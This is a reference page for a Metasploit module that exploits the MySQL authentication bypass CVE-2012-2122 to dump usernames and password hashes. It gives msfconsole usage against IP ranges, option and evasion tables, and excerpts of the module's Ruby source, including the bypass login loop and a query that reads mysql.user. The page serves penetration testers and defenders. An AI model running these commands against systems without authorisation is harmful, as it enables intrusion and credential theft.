MySQL Authentication Bypass Password Dump - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/mysql/mysql_authbypass_hashdump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MySQL Authentication Bypass Password Dump
Module: auxiliary/scanner/mysql/mysql_authbypass_hashdump
Source code: modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb
Disclosure date: 2012-06-09
Last modification time: 2021-04-01 14:17:28 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 3306
List of CVEs: CVE-2012-2122
This module exploits a password bypass vulnerability in MySQL in order to extract the usernames and encrypted password hashes from a MySQL server. These hashes are stored as loot for later cracking.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > show options
... show and set options ...
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS ip-range
msf auxiliary(mysql_authbypass_hashdump) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the scanner/mysql/mysql_authbypass_hashdump auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show info
Name: MySQL Authentication Bypass Password Dump
Module: auxiliary/scanner/mysql/mysql_authbypass_hashdump
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-06-09
Provided by:
theLightCosine <[email protected]>
jcran <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME root yes The username to authenticate as
Description:
This module exploits a password bypass vulnerability in MySQL in
order to extract the usernames and encrypted password hashes from a
MySQL server. These hashes are stored as loot for later cracking.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-2122
OSVDB (82804)
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
Module Options
This is a complete list of options available in the scanner/mysql/mysql_authbypass_hashdump auxiliary module:
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show options
Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME root yes The username to authenticate as
Advanced Options
Here is a complete list of advanced options supported by the scanner/mysql/mysql_authbypass_hashdump auxiliary module:
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show advanced
Module advanced options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/mysql/mysql_authbypass_hashdump module can do:
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/mysql/mysql_authbypass_hashdump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <RHOST>:<RPORT> Unable to login from this host due to policy (may still be vulnerable)
- <RHOST>:<RPORT> Error: <E>
- <RHOST>:<RPORT> Thread <COUNT>] caught an unhandled exception: <E>
- <RHOST>:<RPORT> Unable to bypass authentication, this target may not be vulnerable
- <RHOST>:<RPORT> There was an error reading the MySQL User Table
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<RHOST>:<RPORT> Unable to login from this host due to policy (may still be vulnerable)
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Unable to login from this host due to policy (may still be vulnerable)" error message:
55: results << x
56:
57: print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"
58:
59: rescue RbMysql::HostNotPrivileged
60: print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
61: return
62: rescue RbMysql::AccessDeniedError
63: print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
64: rescue ::Interrupt
65: raise $!
<RHOST>:<RPORT> Error: <E>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Error: <E>" error message:
62: rescue RbMysql::AccessDeniedError
63: print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
64: rescue ::Interrupt
65: raise $!
66: rescue ::Exception => e
67: print_error "#{rhost}:#{rport} Error: #{e}"
68: return
69: end
70:
71: # Short circuit if we already won
72: if results.length > 0
<RHOST>:<RPORT> Thread <COUNT>] caught an unhandled exception: <E>
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Thread <COUNT>] caught an unhandled exception: <E>" error message:
106: x = ::RbMysql.connect(rhost, username, password, rport, s)
107: print_good "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts. URI: mysql://#{username}:#{password}@#{rhost}:#{rport}"
108: results << x
109: rescue RbMysql::AccessDeniedError
110: rescue Exception => e
111: print_bad "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
112: end
113: end
114:
115: cur_threads << t
116:
<RHOST>:<RPORT> Unable to bypass authentication, this target may not be vulnerable
Here is a relevant code snippet related to the "<RHOST>:<RPORT> Unable to bypass authentication, this target may not be vulnerable" error message:
141: print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw, dumping hashes...")
142: @mysql_handle = results.first
143: return dump_hashes
144: end
145:
146: print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
147: end
148:
149: def dump_hashes
150:
151: # Grabs the username and password hashes and stores them as loot
<RHOST>:<RPORT> There was an error reading the MySQL User Table
Here is a relevant code snippet related to the "<RHOST>:<RPORT> There was an error reading the MySQL User Table" error message:
149: def dump_hashes
150:
151: # Grabs the username and password hashes and stores them as loot
152: res = mysql_query("SELECT user,password from mysql.user")
153: if res.nil?
154: print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")
155: return
156:
157: end
158:
159: # Create a table to store data
Go back to menu.
Related Pull Requests
- #14987 Merged Pull Request: Update RbMysql to the most recent version
- #12949 Merged Pull Request: This fixes broken links to the community.rapid7.com blog
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7289 Merged Pull Request: Fix typo.
- #7200 Merged Pull Request: Rex::Ui::Text cleanup
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5059 Merged Pull Request: Yard doc corrections
- #2525 Merged Pull Request: Change module boilerplate
- #1228 Merged Pull Request: MSFTIDY cleanup #1 - auxiliary
- #750 Merged Pull Request: Add Metasploit blogs as references, because they're useful.
- #674 Merged Pull Request: Comply with msftidy
- #495 Merged Pull Request: Print out successful mysql connection URI
References
- CVE-2012-2122
- OSVDB (82804)
- https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
See Also
Check also the following modules related to this module:
- auxiliary/scanner/mysql/mysql_file_enum
- auxiliary/scanner/mysql/mysql_hashdump
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/mysql/mysql_schemadump
- auxiliary/scanner/mysql/mysql_version
- auxiliary/scanner/mysql/mysql_writable_dirs
- auxiliary/admin/mysql/mysql_enum
- auxiliary/admin/mysql/mysql_sql
- exploit/linux/mysql/mysql_yassl_getname
- exploit/linux/mysql/mysql_yassl_hello
- exploit/multi/mysql/mysql_udf_payload
- exploit/windows/mysql/mysql_mof
- exploit/windows/mysql/mysql_start_up
- exploit/windows/mysql/mysql_yassl_hello
- exploit/windows/mysql/scrutinizer_upload_exec
- auxiliary/server/capture/mysql
- auxiliary/gather/ldap_hashdump
- auxiliary/scanner/mssql/mssql_hashdump
- auxiliary/scanner/oracle/oracle_hashdump
- auxiliary/scanner/postgres/postgres_hashdump
- post/aix/hashdump
- post/android/gather/hashdump
- post/bsd/gather/hashdump
- post/linux/gather/hashdump
- post/osx/gather/hashdump
- post/solaris/gather/hashdump
- post/windows/gather/credentials/domain_hashdump
- post/windows/gather/credentials/mcafee_vse_hashdump
- post/windows/gather/credentials/mssql_local_hashdump
- post/windows/gather/hashdump
- post/windows/gather/smart_hashdump
- auxiliary/pdf/foxit/authbypass
Related Nessus plugins:
Authors
- theLightCosine
- jcran
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.